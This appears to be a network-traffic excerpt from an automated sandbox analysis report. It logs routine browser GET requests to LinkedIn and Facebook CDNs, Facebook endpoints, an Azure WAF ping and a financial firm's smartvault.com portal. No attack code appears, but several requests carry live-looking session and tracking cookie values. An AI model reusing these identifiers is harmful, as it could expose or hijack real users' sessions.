Source: global traffic	HTTP traffic detected: GET /aero-v1/sc/h/12jn8edunbj0jah6829kj7zs7 HTTP/1.1Host: static.licdn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rsrc.php/v3/yb/r/mN-eO9RcwWn.js?_nc_x=Ij3Wp8lg5Kz HTTP/1.1Host: static.xx.fbcdn.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://www.facebook.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://www.facebook.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /v/t1.6435-9/191680915_265045765020384_5894171166834969580_n.jpg?stp=c50.0.160.160a_dst-jpg_p160x160&_nc_cat=110&ccb=1-7&_nc_sid=5f2048&_nc_ohc=mO4BuMgfth0Ab73pxw1&_nc_ht=scontent-lga3-1.xx&oh=00_AfCH9laTFaWTyRR0G7UvKaGz7i-oivPXL8upnQfgqZbOtQ&oe=663FBD62 HTTP/1.1Host: scontent-lga3-1.xx.fbcdn.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rsrc.php/yu/r/Ddk-AuWE7VS.svg HTTP/1.1Host: static.xx.fbcdn.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /v/t39.30808-6/434161336_977196363805317_3012880170289960724_n.jpg?stp=c0.18.160.160a_dst-jpg_p160x160&_nc_cat=111&ccb=1-7&_nc_sid=5f2048&_nc_ohc=I0NuKevVTXQAb5yPj7c&_nc_ht=scontent-lga3-1.xx&oh=00_AfAh0a3xH4hlU6TTz-tR9rSYzwF_YARPmY2g-UbmV8Cp3Q&oe=661E3419 HTTP/1.1Host: scontent-lga3-1.xx.fbcdn.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /aero-v1/sc/h/5gubp03vhsghua5ctxt9v18a8 HTTP/1.1Host: static.licdn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /v/t39.30808-6/432924638_981453820046238_6885541610282582644_n.jpg?stp=c62.0.160.160a_dst-jpg_p160x160&_nc_cat=105&ccb=1-7&_nc_sid=5f2048&_nc_ohc=71KX-ATRvNwAb4ZywyM&_nc_ht=scontent-lga3-2.xx&oh=00_AfD9dej9ODWOZ3g0H0iLgebkxC4YSr9BElu67QWbKC7Lsg&oe=661E14B4 HTTP/1.1Host: scontent-lga3-2.xx.fbcdn.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /aero-v1/sc/h/al2o9zrvru7aqj8e1x2rzsrca HTTP/1.1Host: static.licdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.linkedin.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /litms/utag/seo-directory-frontend/utag.js?cb=1712867700000 HTTP/1.1Host: platform.linkedin.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.linkedin.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: lang=v=2&lang=en-us; bcookie="v=2&5fb597bd-36de-4f4b-86b3-29f1071b0dff"; lidc="b=OGST03:s=O:r=O:a=O:p=O:g=3190:u=1:x=1:i=1712867727:t=1712954127:v=2:sig=AQGeA_nFVVm9cDI6Pe3WHj6GGkrc7jAF"; rtc=AQHokTdD2c0hKwAAAY7O324IaH5_romjD_lCWRJrQLQknHq-I3BCQ6TUKtISln7Jippf6jyJzQ1eKwQ8X0Uq8RfGLL6uMGnTXQnXClVsDAtkXSzwg53xeF-uKTCkGeTrDXhEIZOQVnu42eMqlcJNH5YaKKl1Zb47sFaQiQcL4F5PeCPcs6NRmUFT8E9AydwqD8aU6j0x2gptRPh31Jm4NYp2Hjx3KPjmNdwS-_7MgF105aSZSIXPwaM=
Source: global traffic	HTTP traffic detected: GET /rsrc.php/v3ipuo4/yB/l/en_US/ae0dtANL__H.js?_nc_x=Ij3Wp8lg5Kz HTTP/1.1Host: static.xx.fbcdn.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://www.facebook.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://www.facebook.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rsrc.php/v3iGuT4/y-/l/en_US/CVZ8oQ56FF2.js?_nc_x=Ij3Wp8lg5Kz HTTP/1.1Host: static.xx.fbcdn.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://www.facebook.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://www.facebook.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rsrc.php/v3i-Vf4/y1/l/en_US/CStAmTwl6_y.js?_nc_x=Ij3Wp8lg5Kz HTTP/1.1Host: static.xx.fbcdn.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://www.facebook.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://www.facebook.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /v/t1.6435-1/190346650_265045761687051_1168810863429260278_n.jpg?stp=dst-jpg_p200x200&_nc_cat=109&ccb=1-7&_nc_sid=5f2048&_nc_ohc=SHu8gWgWGu0Ab55t1XH&_nc_ht=scontent-lga3-2.xx&oh=00_AfDmv0qW8U6qLukndvPVMqWe13O3GhEBaFBMn4aN1Iv2Eg&oe=663FD48A HTTP/1.1Host: scontent-lga3-2.xx.fbcdn.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /aero-v1/sc/h/5qa1f22mxd8ig3o5g568vo59 HTTP/1.1Host: static.licdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.linkedin.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /aero-v1/sc/h/e12h2cd8ac580qen9qdd0qks8 HTTP/1.1Host: static.licdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://www.linkedin.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.linkedin.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /aero-v1/sc/h/cyolgscd0imw2ldqppkrb84vo HTTP/1.1Host: static.licdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://www.linkedin.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.linkedin.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /hads-ak-prn2/1487645_6012475414660_1439393861_n.png HTTP/1.1Host: scontent.xx.fbcdn.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /aero-v1/sc/h/ddi43qwelxeqjxdd45pe3fvs1 HTTP/1.1Host: static.licdn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /v/t1.6435-1/190346650_265045761687051_1168810863429260278_n.jpg?stp=cp0_dst-jpg_p40x40&_nc_cat=109&ccb=1-7&_nc_sid=5f2048&_nc_ohc=SHu8gWgWGu0Ab55t1XH&_nc_ht=scontent-lga3-2.xx&oh=00_AfCTsmSUVzRPKuwIBc-TQDOj3Px-U7icvrT5-QjEwVmb3A&oe=663FD48A HTTP/1.1Host: scontent-lga3-2.xx.fbcdn.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /aero-v1/sc/h/8fkga714vy9b2wk5auqo5reeb HTTP/1.1Host: static.licdn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /aero-v1/sc/h/80ndnja80f2uvg4l8sj2su82m HTTP/1.1Host: static.licdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.linkedin.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/bz?__a=1&__aaid=0&__ccg=GOOD&__comet_req=15&__hs=19824.HYP%3Acomet_loggedout_pkg.2.1..0.0&__hsi=7356710875980239076&__req=7&__rev=1012711792&__s=1vpone%3Ab6v500%3A45heop&__spin_b=trunk&__spin_r=1012711792&__spin_t=1712867728&__user=0&dpr=1&jazoest=2954&lsd=AVqJt7mBmTM&ph=C3 HTTP/1.1Host: www.facebook.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: wd=1280x907; _js_datr=kEkYZr_nDMrv36ebLjkbz_9w
Source: global traffic	HTTP traffic detected: GET /ajax/bulk-route-definitions/ HTTP/1.1Host: www.facebook.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /aero-v1/sc/h/5oas73nreunfgygkpe5iwmgrs HTTP/1.1Host: static.licdn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /aero-v1/sc/h/gs508lg3t2o81tq7pmcgn6m2 HTTP/1.1Host: static.licdn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/bz?__a=1&__aaid=0&__ccg=GOOD&__comet_req=15&__hs=19824.HYP%3Acomet_loggedout_pkg.2.1..0.0&__hsi=7356710875980239076&__req=9&__rev=1012711792&__s=1vpone%3Ab6v500%3A45heop&__spin_b=trunk&__spin_r=1012711792&__spin_t=1712867728&__user=0&dpr=1&jazoest=2954&lsd=AVqJt7mBmTM&ph=C3 HTTP/1.1Host: www.facebook.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: wd=1280x907; _js_datr=kEkYZr_nDMrv36ebLjkbz_9w; fr=0NqpAIrXcNFAcNEy2..BmGEmW..AAA.0.0.BmGEmW.AWUK-u5q2Y4
Source: global traffic	HTTP traffic detected: GET /aero-v1/sc/h/euqjj7tf5wvr33frd3x1jj9s HTTP/1.1Host: static.licdn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/bz?__a=1&__aaid=0&__ccg=GOOD&__comet_req=15&__hs=19824.HYP%3Acomet_loggedout_pkg.2.1..0.0&__hsi=7356710875980239076&__req=a&__rev=1012711792&__s=1vpone%3Ab6v500%3A45heop&__spin_b=trunk&__spin_r=1012711792&__spin_t=1712867728&__user=0&dpr=1&jazoest=2954&lsd=AVqJt7mBmTM&ph=C3 HTTP/1.1Host: www.facebook.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: wd=1280x907; _js_datr=kEkYZr_nDMrv36ebLjkbz_9w; fr=0NqpAIrXcNFAcNEy2..BmGEmW..AAA.0.0.BmGEmW.AWUK-u5q2Y4
Source: global traffic	HTTP traffic detected: GET /data/manifest/ HTTP/1.1Host: www.facebook.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36viewport-width: 1280sec-ch-ua-platform-version: "10.0.0"dpr: 1sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132"sec-ch-ua-model: ""sec-ch-prefers-color-scheme: lightsec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: manifestReferer: https://www.facebook.com/bfjfinancial/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: wd=1280x907; _js_datr=kEkYZr_nDMrv36ebLjkbz_9w; fr=0NqpAIrXcNFAcNEy2..BmGEmW..AAA.0.0.BmGEmW.AWUK-u5q2Y4
Source: global traffic	HTTP traffic detected: GET /rsrc.php/yT/r/aGT3gskzWBf.ico HTTP/1.1Host: static.xx.fbcdn.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.facebook.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /aero-v1/sc/h/adzjokfylbe8pvjr9h8iv96mw HTTP/1.1Host: static.licdn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /aero-v1/sc/h/al2o9zrvru7aqj8e1x2rzsrca HTTP/1.1Host: static.licdn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /aero-v1/sc/h/e12h2cd8ac580qen9qdd0qks8 HTTP/1.1Host: static.licdn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/bulk-route-definitions/ HTTP/1.1Host: www.facebook.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /aero-v1/sc/h/cyolgscd0imw2ldqppkrb84vo HTTP/1.1Host: static.licdn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rsrc.php/yT/r/aGT3gskzWBf.ico HTTP/1.1Host: static.xx.fbcdn.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rsrc.php/v3/y0/r/eFZD1KABzRA.png HTTP/1.1Host: static.xx.fbcdn.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.facebook.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/bulk-route-definitions/ HTTP/1.1Host: www.facebook.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: wd=1280x907
Source: global traffic	HTTP traffic detected: GET /ajax/bz?__a=1&__aaid=0&__ccg=GOOD&__comet_req=15&__hs=19824.HYP%3Acomet_loggedout_pkg.2.1..0.0&__hsi=7356710875980239076&__req=b&__rev=1012711792&__s=1vpone%3Ab6v500%3A45heop&__spin_b=trunk&__spin_r=1012711792&__spin_t=1712867728&__user=0&dpr=1&jazoest=2954&lsd=AVqJt7mBmTM&ph=C3 HTTP/1.1Host: www.facebook.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: wd=1280x907; datr=kEkYZr_nDMrv36ebLjkbz_9w; fr=0vG5J7WWtrYcTapvn..BmGEmX..AAA.0.0.BmGEmX.AWUjTjkZEnA
Source: global traffic	HTTP traffic detected: GET /rsrc.php/v3/y0/r/eFZD1KABzRA.png HTTP/1.1Host: static.xx.fbcdn.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /event?correlationId=f5447fda-f9aa-4707-8a29-843cb3f895af&type=ping HTTP/1.1Host: ps.azurewaf.microsoft.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: MC1=GUID=749eee6039c5489b9db3000c7ab3f399&HASH=749e&LV=202310&V=4&LU=1696413236917; MUID=375E6F2E0D8F6B9C2CEB7C8E098F6DFE
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: bfjfinancialgroup.smartvault.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /users/secure/Home.aspx HTTP/1.1Host: bfjfinancialgroup.smartvault.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
